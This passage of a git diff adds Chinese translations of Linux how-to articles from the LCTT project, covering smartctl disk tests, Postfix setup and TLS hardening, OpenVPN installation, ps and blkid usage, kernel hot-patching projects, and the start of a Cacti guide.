immediately in off-line mode". + Drive command "Execute SMART Extended self-test routine immediately in off-line mode" successful. + Testing has begun. + Please wait 102 minutes for test to complete. + Test will complete after Sun Nov 16 14:29:43 2014 + + Use smartctl -X to abort test. + +或者,我们可以重定向测试输出到日志文件,就像下面这样 + + root@linuxtechi:~# smartctl --test=long /dev/sdb > /var/log/long.text + +**Short测试** + + root@linuxtechi:~# smartctl --test=short /dev/sdb + smartctl 6.2 2013-07-26 r3841 [x86_64-linux-3.13.0-32-generic] (local build) + Copyright (C) 2002-13, Bruce Allen, Christian Franke, www.smartmontools.org + + === START OF OFFLINE IMMEDIATE AND SELF-TEST SECTION === + Sending command: "Execute SMART Short self-test routine immediately in off-line mode". + Drive command "Execute SMART Short self-test routine immediately in off-line mode" successful. + Testing has begun. + Please wait 1 minutes for test to complete. + Test will complete after Sun Nov 16 12:51:45 2014 + + Use smartctl -X to abort test. + +或 + + root@linuxtechi:~# smartctl --test=short /dev/sdb > /var/log/short.text + +**注意**:short测试将花费最多2分钟,而在long测试中没有时间限制,因为它会读取并验证磁盘的每个段。 + +#### 样例:7 查看驱动器的自检结果 + + root@linuxtechi:~# smartctl -l selftest /dev/sdb + smartctl 6.2 2013-07-26 r3841 [x86_64-linux-3.13.0-32-generic] (local build) + Copyright (C) 2002-13, Bruce Allen, Christian Franke, www.smartmontools.org + + === START OF READ SMART DATA SECTION === + SMART Self-test log structure revision number 1 + Num Test_Description Status Remaining LifeTime(hours) LBA_of_first_error + # 1 Short offline Completed: read failure 90% 492 210841222 + # 2 Extended offline Completed: read failure 90% 492 210841222 + +#### 样例:8 计算测试时间估值 + + root@linuxtechi:~# smartctl -c /dev/sdb + smartctl 6.2 2013-07-26 r3841 [x86_64-linux-3.13.0-32-generic] (local build) + Copyright (C) 2002-13, Bruce Allen, Christian Franke, www.smartmontools.org + + === START OF READ SMART DATA SECTION === + General SMART Values: + Offline data collection status: (0x00) Offline data collection activity + was never started. + Auto Offline Data Collection: Disabled. + Self-test execution status: ( 121) The previous self-test completed having + the read element of the test failed. + Total time to complete Offline + data collection: ( 0) seconds. + Offline data collection + capabilities: (0x73) SMART execute Offline immediate. + Auto Offline data collection on/off support. + Suspend Offline collection upon new + command. + No Offline surface scan supported. + Self-test supported. + Conveyance Self-test supported. + Selective Self-test supported. + SMART capabilities: (0x0003) Saves SMART data before entering + power-saving mode. + Supports SMART auto save timer. + Error logging capability: (0x01) Error logging supported. + General Purpose Logging supported. + Short self-test routine + recommended polling time: ( 1) minutes. + Extended self-test routine + recommended polling time: ( 102) minutes. + Conveyance self-test routine + recommended polling time: ( 2) minutes. + SCT capabilities: (0x103b) SCT Status supported. + SCT Error Recovery Control supported. + SCT Feature Control supported. + SCT Data Table supported. + +#### 样例:9 显示磁盘错误日志 + + root@linuxtechi:~# smartctl -l error /dev/sdb + + Sample Output + + smartctl 6.2 2013-07-26 r3841 [x86_64-linux-3.13.0-32-generic] (local build) + Copyright (C) 2002-13, Bruce Allen, Christian Franke, www.smartmontools.org + + === START OF READ SMART DATA SECTION === + SMART Error Log Version: 1 + ATA Error Count: 5 + CR = Command Register [HEX] + FR = Features Register [HEX] + SC = Sector Count Register [HEX] + SN = Sector Number Register [HEX] + CL = Cylinder Low Register [HEX] + CH = Cylinder High Register [HEX] + DH = Device/Head Register [HEX] + DC = Device Command Register [HEX] + ER = Error register [HEX] + ST = Status register [HEX] + Powered_Up_Time is measured from power on, and printed as + DDd+hh:mm:SS.sss where DD=days, hh=hours, mm=minutes, + SS=sec, and sss=millisec. It "wraps" after 49.710 days. + + Commands leading to the command that caused the error were: + CR FR SC SN CL CH DH DC Powered_Up_Time Command/Feature_Name + -- -- -- -- -- -- -- -- ---------------- -------------------- + 25 da 08 e7 e5 a5 4c 00 00:30:44.515 READ DMA EXT + 25 da 08 df e5 a5 4c 00 00:30:44.514 READ DMA EXT + 25 da 80 5f e5 a5 4c 00 00:30:44.502 READ DMA EXT + 25 da f0 5f e6 a5 4c 00 00:30:44.496 READ DMA EXT + 25 da 10 4f e6 a5 4c 00 00:30:44.383 READ DMA EXT + +-------------------------------------------------------------------------------- + +via: http://www.linuxtechi.com/smartctl-monitoring-analysis-tool-hard-drive/ + +作者:[Pradeep Kumar][a] +译者:[GOLinux](https://github.com/GOLinux) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.linuxtechi.com/author/pradeep/ diff --git a/published/201501/20141120 How to configure and secure your Postfix email server.md b/published/201501/20141120 How to configure and secure your Postfix email server.md new file mode 100644 index 0000000000..454c984516 --- /dev/null +++ b/published/201501/20141120 How to configure and secure your Postfix email server.md @@ -0,0 +1,141 @@ +Postfix邮件服务器的配置与安全加固 +================================================================================ +![](http://techarena51.com/wp-content/uploads/2014/08/postfix.png) + +当你启动并运行应用服务器后,你就需要一台好的邮件服务器来为你传递邮件。我为我所有的服务器开通了postfix邮件服务,下面就是我常用的配置。 + +### CentOS 6上安装Postfix ### + + yum install postfix + +默认安装了Sendmail,所以最好将它停掉并移除。 + + service sendmail stop + yum remove sendmail + +Postfix包含了**两个配置文件main.cf和master.cf**,对于基本的配置,你需要修改main.cf。同时,postfix可以像shell变量一样定义参数,并通过$来调用。这些参数不需要再使用前定义,Postfix只在运行中需要时才会查询某个参数。 + +### 配置postfix ### + + vim /etc/postfix/main.cf + +去掉以下行的注释 + + # 你的主机名 + myhostname = yourhostname.com + + # 你的发件域 + myorigin = $myhostname + + # 指定用于接收邮件的网络接口,这里指定 localhost 是因为我们只用来接受本地的程序投递 + inet_interfaces = localhost + + # 指定所使用的协议,可以使用“all”来增加 IPv6 支持 + inet_protocols = ipv4 + + + # 指定所接受的邮件域 + mydestination = $myhostname, localhost.$mydomain, localhost + + # 仅转发本地主机的邮件,而不是主机所在的网络 + mynetworks_style = host + +启动postfix + + service postfix start + +这些基本的postfix配置可以让你的机器发送邮件,你可以通过发送邮件并检查“maillog”日志文件来验证。 + + echo test mail | mail -s "test" leo@techarena51.com && sudo tail -f /var/log/maillog + + # 输出的日志类似如下 + Aug 25 14:16:21 vps postfix/smtp[32622]: E6A372DC065D: to=, relay=smtp.mailserver.org[50.56.21.176], delay=0.8, delays=0.1/0/0.43/0.27, dsn=2.0.0, status=sent (250 Great success) + Aug 25 14:16:21 vps postfix/qmgr[5355]: E6A372DC065D: removed + +但是,上述配置并不够,因为邮件服务大多数时候都会被垃圾邮件挤满,你需要添加SPF、PTR和DKIM记录。即便如此,你的邮件仍然可能被当作垃圾邮件来投递,因为你的IP地址被列入了黑名单,大多数时候是因为你的vps先前被入侵了。 + +还有另外一种选择,或者说是更好的方式是使用第三方邮件提供商提供的邮件服务,如Gmail,或者甚至是Mailgun。我使用Mailgun,因为它们提供了每个月10000封免费电子邮件,而Gmail则提供了每天100封左右的邮件。 + +在“/etc/postfix/main.cf”中,你需要添加“smtp.mailgun.com”作为你的“转发主机”,并启用“SASL”验证,这样postfix就可以连接并验证到远程Mailgun服务器。 + +添加或取消以下行的注释。 + + relayhost = [smtp.mailgun.org] + smtp_sasl_auth_enable = yes + smtp_sasl_password_maps=static:your_username:your_password + smtp_sasl_security_options=noanonymous + +Postfix本身不会实施“SASL”验证,因此你需要安装“cyrus-sasl-plain”。 + + sudo yum install cyrus-sasl-plain + +如果你不安装此包,那么你就会收到这条错误信息“SASL authentication failed; cannot authenticate to server smtp.mailgun.org[50.56.21.176]: no mechanism available)” + +重启postfix + + sudo service postfix restart + +### 使用TLS加固Postfix安全 ### + +Postfix支持TLS,它是SSL的后继者,允许你使用基于密钥的验证来加密数据。我推荐你阅读 http://www.postfix.org/TLS_README.html ,以了解TLS是怎么和postfix一起工作的。 + +为了使用TLS,你需要生成一个私钥和一个由证书授权机构颁发的证书。在本例中,我将使用自颁发的证书。 + + sudo yum install mod_ssl openssl + # 生成私钥 + openssl genrsa -out smtp.key 2048 + + # 生成 CSR + openssl req -new -key smtp.key -out smtp.csr + + # 生成自签名的钥匙 + openssl x509 -req -days 365 -in smtp.csr -signkey smtp.key -out smtp.crt + + # 将文件复制到正确的位置 + cp smtp.crt /etc/pki/tls/certs + cp smtp.key /etc/pki/tls/private/smtp.key + cp smtp.csr /etc/pki/tls/private/smtp.csr + +打开postfix配置文件,然后添加以下参数。 + + sudo vim /etc/postfix/main.cf + + smtp_tls_security_level = may + smtpd_tls_security_level = may + smtp_tls_note_starttls_offer = yes + + smtpd_tls_key_file = /etc/pki/tls/private/smtp.key + smtpd_tls_cert_file = /etc/pki/tls/certs + smtp_tls_CAfile = /etc/ssl/certs/ca.crt + smtp_tls_loglevel = 1 + +安全级别“may”意味着宣告对远程SMTP客户端上的STARTTLS的支持,但是客户端不需要使用加密。我在这里按照[mailgun文档][1]提示使用“may”,但是如果你想要强制使用TLS加密,可以使用“encrypt”。 + + service postfix restart + # 发送一封测试邮件 + echo test mail | mail -s "test" test@yourdomain.com && sudo tail -f /var/log/maillog + +你应该会看到以下信息 + + Aug 21 00:00:06 vps postfix/smtp[4997]: setting up TLS connection to smtp.mailgun.org[50.56.21.176]:587 + Aug 21 00:00:06 vps postfix/smtp[4997]: Trusted TLS connection established to smtp.mailgun.org[50.56.21.176]:587: TLSv1.2 with cipher AES256-GCM-SHA384 (256/256 bits) + +如果一切正常,你可以注释掉以下参数。 + +“smtp\_tls\_loglevel = 1” + +对于故障排除,我推荐你阅读[Postfix小建议和排障命令][2] + +-------------------------------------------------------------------------------- + +via: http://techarena51.com/index.php/configure-secure-postfix-email-server/ + +作者:[Leo G][a] +译者:[GOLinux](https://github.com/GOLinux) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://techarena51.com/ +[1]:http://documentation.mailgun.com/user_manual.html#smtp-relay +[2]:http://techarena51.com/index.php/postfix-configuration-and-explanation-of-parameters/ diff --git a/published/201501/20141120 How to install an Opensource VPN Server on Linux.md b/published/201501/20141120 How to install an Opensource VPN Server on Linux.md new file mode 100644 index 0000000000..49150565d8 --- /dev/null +++ b/published/201501/20141120 How to install an Opensource VPN Server on Linux.md @@ -0,0 +1,70 @@ +如何在Linux上安装一个开源VPN服务器 +================================================================================ +![](http://techarena51.com/wp-content/uploads/2014/10/open-vpn.png) + +我上网时最担心的一件事情是,我该如何确保我的数据安全和隐私。在搜索答案的过程中,我找到了很多保持匿名的方法,比如使用代理网站。但是使用第三方的服务不能完全保证。我需要的是有一款软件可以让我自己安装并运行,那样我就能确保只有我才能访问数据。 + +这款软件叫什么呢? + +它叫VPN服务,就是虚拟隐私网络的简称。它允许访问时通过SSL加密你的数据。因为是加密的连接,所以你的ISP不能看到你的浏览信息。 + +在本篇Linux教程中,我会在CentOS 7上安装一个OpenVPN服务。OpenVPN很容易使用,开源且拥有社区的支持。它的客户端支持Windows、[Android][1]和Mac。 + +### 第一步: 在你的Linux机器或者 VPS 上安装OpenVPN服务 ### + +从 https://openvpn.net/index.php/access-server/download-openvpn-as-sw.html 下载安装包,Ubuntu用户也可以找到合适的安装包并安装。 + + [leo@vps ]$ cd /tmp + [leo@vps tmp]$ wget http://swupdate.openvpn.org/as/openvpn-as-2.0.10-CentOS7.x86_64.rpm + [leo@vps tmp]$ sudo rpm -Uvh openvpn-as-2.0.10-CentOS7.x86_64.rpm + Preparing... ################################# [100%] + Updating / installing... + 1:openvpn-as-0:2.0.10-CentOSrelease################################# [100%] + The Access Server has been successfully installed in /usr/local/openvpn_as + Configuration log file has been written to /usr/local/openvpn_as/init.log + Please enter "passwd openvpn" to set the initial + administrative password, then login as "openvpn" to continue + configuration here: https://yourhostIP:943/admin + To reconfigure manually, use the /usr/local/openvpn_as/bin/ovpn-init tool. + + Access Server web UIs are available here: + Admin UI: https://yourhostIP:943/admin + Client UI: https://yourhostIP:943/ + +### 第二步: 为 OpenVPN 客户端设置密码 ### + + [leo_g@vps ]$passwd openvpn + +### 第三步: 通过管理URL https://yourhostIP:943/admin 登录并启动服务 ### + +![](http://techarena51.com/wp-content/uploads/2014/10/open-vpn.png) + +输入用户名 “openvpn” 和你先前设置的密码 + +![](http://techarena51.com/wp-content/uploads/2014/10/open-vpn-1.png) + +### 第四步: 从客户端URL安装客户端 (它会给你一个选项下载安装程序) ### + +![](http://techarena51.com/wp-content/uploads/2014/10/open-vpn-client-url.png) + +你可以在[这里][3]看指导来了解如何在你的操作系统上安装。 + +### 第五步: 用你先前创建的用户名和密码连接你的服务器 ### + +![](http://openvpn.net/images/howto/connecting/OpenVPN_Client_Connect_2.png) + +就是这样,你可以访问whatismyip.com来查看你的IP,应该已经是你的CentOS 7上的OpenVPN的地址了。 + +-------------------------------------------------------------------------------- + +via: http://techarena51.com/index.php/how-to-install-an-opensource-vpn-server-on-linux/ + +作者:[Leo G][a] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://techarena51.com/ +[1]:https://play.google.com/store/apps/details?id=net.openvpn.openvpn&hl=en +[3]:https://openvpn.net/index.php/access-server/docs/admin-guides-sp-859543150/howto-connect-client-configuration.html \ No newline at end of file diff --git a/published/201501/20141124 Important 10 Linux ps command Practical Examples.md b/published/201501/20141124 Important 10 Linux ps command Practical Examples.md new file mode 100644 index 0000000000..6423db4a2a --- /dev/null +++ b/published/201501/20141124 Important 10 Linux ps command Practical Examples.md @@ -0,0 +1,186 @@ +10个重要的Linux ps命令实战 +================================================================================ +Linux作为Unix的衍生操作系统,Linux内建有查看当前进程的工具。这个工具能在命令行中使用。 + +### PS 命令是什么 ### + +查看它的man手册可以看到,ps命令能够给出当前系统中进程的快照。它能捕获系统在某一事件的进程状态。如果你想不断更新查看的这个状态,可以使用top命令。 + +ps命令支持三种使用的语法格式 + +1. UNIX 风格,选项可以组合在一起,并且选项前必须有“-”连字符 +2. BSD 风格,选项可以组合在一起,但是选项前不能有“-”连字符 +3. GNU 风格的长选项,选项前有两个“-”连字符 + +我们能够混用这几种风格,但是可能会发生冲突。本文使用 UNIX 风格的ps命令。这里有在日常生活中使用较多的ps命令的例子。 + +### 1. 不加参数执行ps命令 ### + +这是一个基本的 **ps** 使用。在控制台中执行这个命令并查看结果。 + +![不加选项执行ps命令](http://blog.linoxide.com/wp-content/uploads/2014/10/ps_no_options.png) + +结果默认会显示4列信息。 + +- PID: 运行着的命令(CMD)的进程编号 +- TTY: 命令所运行的位置(终端) +- TIME: 运行着的该命令所占用的CPU处理时间 +- CMD: 该进程所运行的命令 + +这些信息在显示时未排序。 + +### 2. 显示所有当前进程 ### + +使用 **-a** 参数。**-a 代表 all**。同时加上x参数会显示没有控制终端的进程。 + + $ ps -ax + +这个命令的结果或许会很长。为了便于查看,可以结合less命令和管道来使用。 + + $ ps -ax | less + +![ps all 信息](http://blog.linoxide.com/wp-content/uploads/2014/10/ps_ax.png) + +### 3. 根据用户过滤进程 ### + +在需要查看特定用户进程的情况下,我们可以使用 **-u** 参数。比如我们要查看用户'pungki'的进程,可以通过下面的命令: + + $ ps -u pungki + +![通过用户过滤](http://blog.linoxide.com/wp-content/uploads/2014/10/ps__u.png) + +### 4. 通过cpu和内存使用来过滤进程 ### + +也许你希望把结果按照 CPU 或者内存用量来筛选,这样你就找到哪个进程占用了你的资源。要做到这一点,我们可以使用 **aux 参数**,来显示全面的信息: + + $ ps -aux | less + +![显示全面信息](http://blog.linoxide.com/wp-content/uploads/2014/10/ps_aux.png) + +当结果很长时,我们可以使用管道和less命令来筛选。 + +默认的结果集是未排好序的。可以通过 **--sort**命令来排序。 + +根据 **CPU 使用**来升序排序 + + $ ps -aux --sort -pcpu | less + +![根据cpu使用排序](http://blog.linoxide.com/wp-content/uploads/2014/10/ps_aux_sort_cpu.png) + +根据 **内存使用** 来升序排序 + + $ ps -aux --sort -pmem | less + +![根据内存使用来排序](http://blog.linoxide.com/wp-content/uploads/2014/10/ps_aux_sort_mem.png) + +我们也可以将它们合并到一个命令,并通过管道显示前10个结果: + + $ ps -aux --sort -pcpu,+pmem | head -n 10 + +### 5. 通过进程名和PID过滤 ### + +使用 **-C 参数**,后面跟你要找的进程的名字。比如想显示一个名为getty的进程的信息,就可以使用下面的命令: + + $ ps -C getty + +![通过进程名和PID过滤](http://blog.linoxide.com/wp-content/uploads/2014/10/ps_C.png) + +如果想要看到更多的细节,我们可以使用-f参数来查看格式化的信息列表: + + $ ps -f -C getty + +![通过进程名和PID过滤](http://blog.linoxide.com/wp-content/uploads/2014/10/ps_C_f.png) + +### 6. 根据线程来过滤进程 ### + +如果我们想知道特定进程的线程,可以使用**-L 参数**,后面加上特定的PID。 + + $ ps -L 1213 + +![根据线程来过滤进程](http://blog.linoxide.com/wp-content/uploads/2014/10/ps_L.png) + +### 7. 树形显示进程 ### + +有时候我们希望以树形结构显示进程,可以使用 **-axjf** 参数。 + + $ps -axjf + +![树形显示进程](http://blog.linoxide.com/wp-content/uploads/2014/10/ps_axjf.png) + +或者可以使用另一个命令。 + + $ pstree + +![树形显示进程](http://blog.linoxide.com/wp-content/uploads/2014/10/pstree.png) + +### 8. 显示安全信息 ### + +如果想要查看现在有谁登入了你的服务器。可以使用ps命令加上相关参数: + + $ ps -eo pid,user,args + +**参数 -e** 显示所有进程信息,**-o 参数**控制输出。**Pid**,**User 和 Args**参数显示**PID,运行应用的用户**和**该应用**。 + +![显示安全信息](http://blog.linoxide.com/wp-content/uploads/2014/10/ps_security_1.png) + +能够与**-e 参数** 一起使用的关键字是**args, cmd, comm, command, fname, ucmd, ucomm, lstart, bsdstart 和 start**。 + +### 9. 格式化输出root用户(真实的或有效的UID)创建的进程 ### + +系统管理员想要查看由root用户运行的进程和这个进程的其他相关信息时,可以通过下面的命令: + + $ ps -U root -u root u + +**-U 参数**按真实用户ID(RUID)筛选进程,它会从用户列表中选择真实用户名或 ID。真实用户即实际创建该进程的用户。 + +**-u** 参数用来筛选有效用户ID(EUID)。 + +最后的**u**参数用来决定以针对用户的格式输出,由**User, PID, %CPU, %MEM, VSZ, RSS, TTY, STAT, START, TIME 和 COMMAND**这几列组成。 + +这里有上面的命令的输出结果: + +![show real and effective User ID](http://blog.linoxide.com/wp-content/uploads/2014/10/ps_root_real_effective_ID.png) + +### 10. 使用PS实时监控进程状态 ### + +ps 命令会显示你系统当前的进程状态,但是这个结果是静态的。 + +当有一种情况,我们需要像上面第四点中提到的通过CPU和内存的使用率来筛选进程,并且我们希望结果能够每秒刷新一次。为此,我们可以**将ps命令和watch命令结合起来**。 + + $ watch -n 1 ‘ps -aux --sort -pmem, -pcpu’ + +![组合 ps 和 watch](http://blog.linoxide.com/wp-content/uploads/2014/10/ps_watch_1.png) + +如果输出太长,我们也可以限制它,比如前20条,我们可以使用**head**命令来做到。 + + $ watch -n 1 ‘ps -aux --sort -pmem, -pcpu | head 20’ + +![组合 ps 和 watch](http://blog.linoxide.com/wp-content/uploads/2014/10/ps_watch_2.png) + +这里的动态查看并不像top或者htop命令一样。**但是使用ps的好处是**你能够定义显示的字段,你能够选择你想查看的字段。 + +举个例子,**如果你只需要看名为'pungki'用户的信息**,你可以使用下面的命令: + + $ watch -n 1 ‘ps -aux -U pungki u --sort -pmem, -pcpu | head 20’ + +![组合 ps 和 watch](http://blog.linoxide.com/wp-content/uploads/2014/10/ps_watch_3.png) + +### 结论 ### + +你也许每天都会使用ps命令来监控你的Linux系统。但是事实上,你可以通过ps命令的参数来生成各种你需要的报表。 + +ps命令的另一个优势是ps是各种 Linux系统都默认安装的,因此你只要用就行了。 + +不要忘了通过 man ps来查看更多的参数。(LCTT 译注:由于 ps 命令古老而重要,所以它在不同的 UNIX、BSD、Linux 等系统中的参数不尽相同,因此如果你用的不是 Linux 系统,请查阅你的文档了解具体可用的参数。) + +-------------------------------------------------------------------------------- + +via: http://linoxide.com/how-tos/linux-ps-command-examples/ + +作者:[Pungki Arianto][a] +译者:[johnhoow](https://github.com/johnhoow) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://linoxide.com/author/pungki/ diff --git a/published/201501/20141124 Linux blkid Command to Find Block Devices Details.md b/published/201501/20141124 Linux blkid Command to Find Block Devices Details.md new file mode 100644 index 0000000000..9a912daf7a --- /dev/null +++ b/published/201501/20141124 Linux blkid Command to Find Block Devices Details.md @@ -0,0 +1,100 @@ +用 Linux blkid 命令查找块设备详情 +================================================================================ +今天我们将会向你展示如何使用 **lsblk** 和 **blkid** 工具来查找关于块设备的信息,我们使用的是一台安装了 CentOS 7.0 的机器。 + +## lsblk ## + +**lsblk** 是一个 Linux 工具,它会显示有关你系统里所有可用块设备的信息。它从 [sysfs 文件系统][1] 中获取信息。默认情况下,这个工具将会以树状格式显示(除了内存虚拟磁盘外的)所有块设备。 + +### lsblk 默认输出 ### + +默认情况下 lsblk 会将块设备输出为树状格式: + +- **NAME** —— 设备的名称 + +- **MAJ:MIN** —— Linux 操作系统中的每个设备都以一个文件表示,对块(磁盘)设备来说,这里用主次设备编号来描述设备。 + +- **RM** —— 可移动设备。如果这是一个可移动设备将显示 1,否则显示 0。 + +- **TYPE** —— 设备的类型 + +- **MOUNTPOINT** —— 设备挂载的位置 + +- **RO** —— 对于只读文件系统,这里会显示 1,否则显示 0。 + +- **SIZE** —— 设备的容量 + +![](http://blog.linoxide.com/wp-content/uploads/2014/10/lsblk.jpg) + +### 显示设备的所有者 ### + +若想显示设备所有者相关的信息,包括文件的所属用户、所属组以及文件系统挂载的模式,你可以使用 -m 选项,像这样: + + lsblk -m + +![](http://blog.linoxide.com/wp-content/uploads/2014/10/lsblk-m.jpg) + +### 列出设备块 ### + +如果你只想要列出设备,而不想让他们以树状输出,你可以使用 -l 选项: + + lsblk -l + +### 在脚本中使用 ### + +高级技巧:如果你想要在脚本中使用而希望剔除表头,你可以这样使用 -n 选项: + + lsblk -ln + +![](http://blog.linoxide.com/wp-content/uploads/2014/10/lsblk-ln.jpg) + +## blkid ## + +**blkid** 命令是一个命令行工具,它可以显示关于可用块设备的信息。它可以识别一个块设备内容的类型(如文件系统、交换区)以及从内容的元数据(如卷标或 UUID 字段)中获取属性(如 tokens 和键值对)。它主要有两类作用:用指定的键值对搜索一个设备,或是显示一个或多个设备的键值对。 + +### blkid 使用方法 ### + +不添加任何参数直接运行 blkid 将会输出所有可用的设备、它们的通用唯一识别码(UUID)、文件系统类型以及卷标(如果有设置过)。 + + # blkid + +![](http://blog.linoxide.com/wp-content/uploads/2014/10/blkid.jpg) + +### 根据名字或 UUID 列出设备 ### + +如果你只想显示一个特定设备的信息,你可以将该设备的名字作为选项添加在 blkid 后面: + + # blkid /dev/sda1 + +如果你知道一个设备的 UUID 而想要知道它的设备名,你可以用 -U 选项,像这样: + + # blkid -U d3b1dcc2-e3b0-45b0-b703-d6d0d360e524 + +![](http://blog.linoxide.com/wp-content/uploads/2014/10/blkid-uuid.jpg) + +### 详细信息 ### + +如果你想要获取更多详细信息,你可以使用 -p 和 -o udev 选项来将它们用整齐的格式显示出来,像这样: + + # blkid -po udev /dev/sda1 + +![](http://blog.linoxide.com/wp-content/uploads/2014/10/blkid-po.jpg) + +### 重置缓存 ### + +有时候设备列表可能不会更新,如果遇到这种情况你可以使用 -g 选项来清理 blkid 的缓存,从而清除已经不存在的设备。 + + # blkid -g + +-------------------------------------------------------------------------------- + +via: http://linoxide.com/linux-command/linux-command-lsblk-blkid/ + +作者:[Adrian Dinu][a] +译者:[felixonmars](https://github.com/felixonmars) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://linoxide.com/author/adriand/ +[1]:https://www.kernel.org/doc/Documentation/filesystems/sysfs.txt diff --git a/published/201501/20141125 Four ways Linux is headed for no-downtime kernel patching.md b/published/201501/20141125 Four ways Linux is headed for no-downtime kernel patching.md new file mode 100644 index 0000000000..1d96465260 --- /dev/null +++ b/published/201501/20141125 Four ways Linux is headed for no-downtime kernel patching.md @@ -0,0 +1,57 @@ +不重启不当机!Linux内核热补丁的四种技术 +================================================================================ +![Credit: Shutterstock](http://images.techhive.com/images/article/2014/10/patch_f-100526950-primary.idge.jpeg) + +供图: Shutterstock + +有多种技术在竞争成为实现Linux内核热补丁的最优方案。 + +没人喜欢重启机器,尤其是涉及到一个内核问题的最新补丁程序。 + +为达到不重启的目的,目前有3个项目在朝这方面努力,将为大家提供内核升级时打热补丁的机制,这样就可以做到完全不重启机器。 + +### Ksplice项目 ### + +首先要介绍的项目是Ksplice,它是热补丁技术的创始者,并于2008年建立了与项目同名的公司。Ksplice在替换新内核时,不需要预先修改;只需要一个diff文件,列出内核即将接受的修改即可。Ksplice公司免费提供软件,但技术支持是需要收费的,目前能够支持大部分常用的Linux发行版本。 + +但在2011年[Oracle收购了这家公司][1]后,情况发生了变化。 这项功能被合入到Oracle自己的Linux发行版本中,只对Oralcle自己提供技术更新。 这就导致,其他内核hacker们开始寻找替代Ksplice的方法,以避免缴纳Oracle税。 + +### Kgraft项目 ### + +2014年2月,Suse提供了一个很好的解决方案:[Kgraft][2],该内核更新技术以GPLv2/GPLv3混合许可证发布,且Suse不会将其作为一个专有发明封闭起来。Kgraft被[提交][3]到Linux内核主线,很有可能被内核主线采用。目前Suse已经把此技术集成到[Suse Linux Enterprise Server 12][4]。 + +Kgraft和Ksplice在工作原理上很相似,都是使用一组diff文件来计算内核中需要修改的部分。但与Ksplice不同的是,Kgraft在做替换时,不需要完全停止内核。 在打补丁时,正在运行的函数可以先使用老版本或新内核中对应的部分,当补丁打完后就可以完全切换新的版本。 + +### Kpatch项目 ### + +Red Hat也提出了他们的内核热补丁技术。同样是在2014年初 -- 与Suse在这方面的工作差不多 -- [Kpatch][5]的工作原理也和Kgraft相似。 + +主要的区别点在于,正如Red Hat的Josh Poimboeuf[总结][6]的那样,Kpatch并不将内核调用重定向到老版本。相反,它会等待所有函数调用都停止时,再切换到新内核。Red Hat的工程师认为这种方法更为安全,且更容易维护,缺点就是在打补丁的过程中会带来更大的延迟。 + +和Kgraft一样,Kpatch不仅仅可以在Red Hat的发行版本上使用,同时也被提交到了内核主线,作为一个可能的候选。 坏消息是Red Hat还未将此技术集成到产品中。 它只是被合入到了Red Hat Enterprise Linux 7的技术预览版中。 + +### ...也许 Kgraft + Kpatch更合适? ### + +Red Hat的工程师Seth Jennings在2014年11月初,提出了[第四种解决方案][7]。将Kgraft和Kpatch结合起来, 补丁包用这两种方式都可以。在新的方法中,Jennings提出,“热补丁核心为其他内核模块提供了一个热补丁的注册接口”, 通过这种方法,打补丁的过程 -- 更准确的说,如何处理运行时内核调用 --可以被更加有序的组织起来。 + +这项新建议也意味着两个方案都还需要更长的时间,才能被linux内核正式采纳。尽管Suse步子迈得更快,并把Kgraft应用到了最新的enterprise版本中。让我们也关注一下Red Hat和Canonical近期是否会跟进。 + + +-------------------------------------------------------------------------------- + +via: http://www.infoworld.com/article/2851028/linux/four-ways-linux-is-headed-for-no-downtime-kernel-patching.html + +作者:[Serdar Yegulalp][a] +译者:[coloka](https://github.com/coloka) +校对:[tinyeyeser](https://github.com/tinyeyeser) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.infoworld.com/author/Serdar-Yegulalp/ +[1]:http://www.infoworld.com/article/2622437/open-source-software/oracle-buys-ksplice-for-linux--zero-downtime--tech.html +[2]:http://www.infoworld.com/article/2610749/linux/suse-open-sources-live-updater-for-linux-kernel.html +[3]:https://lwn.net/Articles/596854/ +[4]:http://www.infoworld.com/article/2838421/linux/suse-linux-enterprise-12-goes-light-on-docker-heavy-on-reliability.html +[5]:https://github.com/dynup/kpatch +[6]:https://lwn.net/Articles/597123/ +[7]:http://lkml.iu.edu/hypermail/linux/kernel/1411.0/04020.html diff --git a/published/201501/20141125 How to install Cacti (Monitoring tool) on ubuntu 14.10 server.md b/published/201501/20141125 How to install Cacti (Monitoring tool) on ubuntu 14.10 server.md new file mode 100644 index 0000000000..ec08a3822d --- /dev/null +++ b/published/201501/20141125 How to install Cacti (Monitoring tool) on ubuntu 14.10 server.md @@ -0,0 +1,135 @@ +怎样在 Ubuntu 14.10 Server 上安装 Cacti +================================================================================ + +Cacti 是一个完善的网络监控的图形化解决方案,它被设计用来发挥 RRDTool (一个 Linux 数据存储和绘图工具)的数据存储和绘图的强大功能。Cacti 提供一个快速的轮询器,高级的绘图模版,多种数据获取方法和用户管理功能,并且可以开箱即用。所有的这些都被打包进一个直观,易用的界面,可用于监控简单的 LAN 网络,乃至包含成百上千设备的复杂网络。 + +### 功能 ### + +#### 绘图 #### + +没有数量限制的监控图条目(graph item),每个图形可以视情况使用 Cacti 中的 CDEFs (Calculation Define,可以对图形输出结果进行计算)或者数据源。 + +自动将 GPRINT 条目分组至 AREA,STACK 和 LINE[1-3] 中,来对监控图条目进行快速重排序。 + +自动填充功能支持整齐排列图形内的说明项。 + +可以使用 RRDTool 中内置的 CDEF 数学函数对图形数据进行处理。这些 CDEF 函数可以定义在 Cacti 中,并且每一个图形都可以使用它们。 + +支持所有的 RRDTool 图形类型,包括 AREA,STACK,LINE[1-3],GPRINT,COMMENT,VRULE 和 HRULE。 + +#### 数据源 #### + +数据源可以使用 RRDTool 的 "create" 和 "update" 功能创建。每一个数据源可以用来收集本地或者远程的数据,并将数据输出成图形。 + +支持包含多个数据源的 RRD 文件,并可以使用存储在本地文件系统中任何位置的 RRD 